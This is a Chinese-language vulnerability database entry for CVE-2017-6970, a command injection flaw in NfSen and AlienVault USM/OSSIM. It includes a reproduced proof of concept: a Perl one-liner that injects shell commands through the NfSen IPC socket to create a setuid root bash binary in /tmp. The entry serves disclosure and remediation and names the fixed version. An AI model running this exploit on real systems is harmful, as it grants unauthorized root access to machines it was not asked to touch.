AlienVault USM、OSSIM和NfSen 安全漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1124093 漏洞类型 操作系统命令注入
发布时间 2017-07-10 更新时间 2019-10-23
CVE编号 CVE-2017-6970 CNNVD-ID CNNVD-201703-1004
漏洞平台 Linux CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/42305
https://cxsecurity.com/issue/WLB-2017070082
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201703-1004
|漏洞详情
AlienVault USM和OSSIM都是美国AlienVault公司的产品。USM是一套提供了安全监控、安全事件管理和报告、威胁感知系统等功能的安全管理平台。OSSIM是一套开源的安全信息管理系统。NfSen是一个nfdump(一款开源的netflow收集、存储、过滤、统计分析工具)的基于Web的前端。 AlienVault USM和OSSIM 5.3.4及之前的版本和NfSen 1.3.8之前的版本中存在安全漏洞。本地攻击者可借助NfSen套接字利用该漏洞执行任意命令。
|漏洞EXP
# Exploit Title: Local root exploit affecting NfSen <= 1.3.7, AlienVault USM/OSSIM <= 5.3.6
# Version: NfSen 1.3.7
# Version: AlienVault 5.3.6
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: AlienVault USM 5.3.6
# CVE: CVE-2017-6970

1. Description
  
The web user (in AlienVault USB www-data) has access to the NfSen IPC UNIX domain socket. This can be used to send a crafted command (complete with shell metacharacter injection) to the NfSen Perl components, causing OS command injection in a root privilege context, and therefore can be leverage for privilege escalation from the web user to full root privileges.

2. Proof of Concept

Pre-requisites - web user/www-data shell (e.g. web shell, or reverse shell).

Execute the following command:

perl -e 'use Socket; socket(my $nfsend, AF_UNIX, SOCK_STREAM, 0); connect($nfsend, sockaddr_un("/var/nfsen/run/nfsen.comm")); print $nfsend "run-nfdump\nargs=-h \$(bash -c \"cp /bin/bash /tmp\")\n.\nrun-nfdump\nargs=-h \$(bash -c \"chmod u+s /tmp/bash\")\n.\n";'
  
This will create a set uid root bash binary in /tmp, which can then be used to gain full root privileges.

3. Solution:
  
Update to latest version of NfSen/USM/OSSIM
|参考资料

来源:www.alienvault.com
链接:https://www.alienvault.com/forums/discussion/8325/
来源:sourceforge.net
链接:https://sourceforge.net/p/nfsen/news/2017/01/nfsen-138-released---security-fix/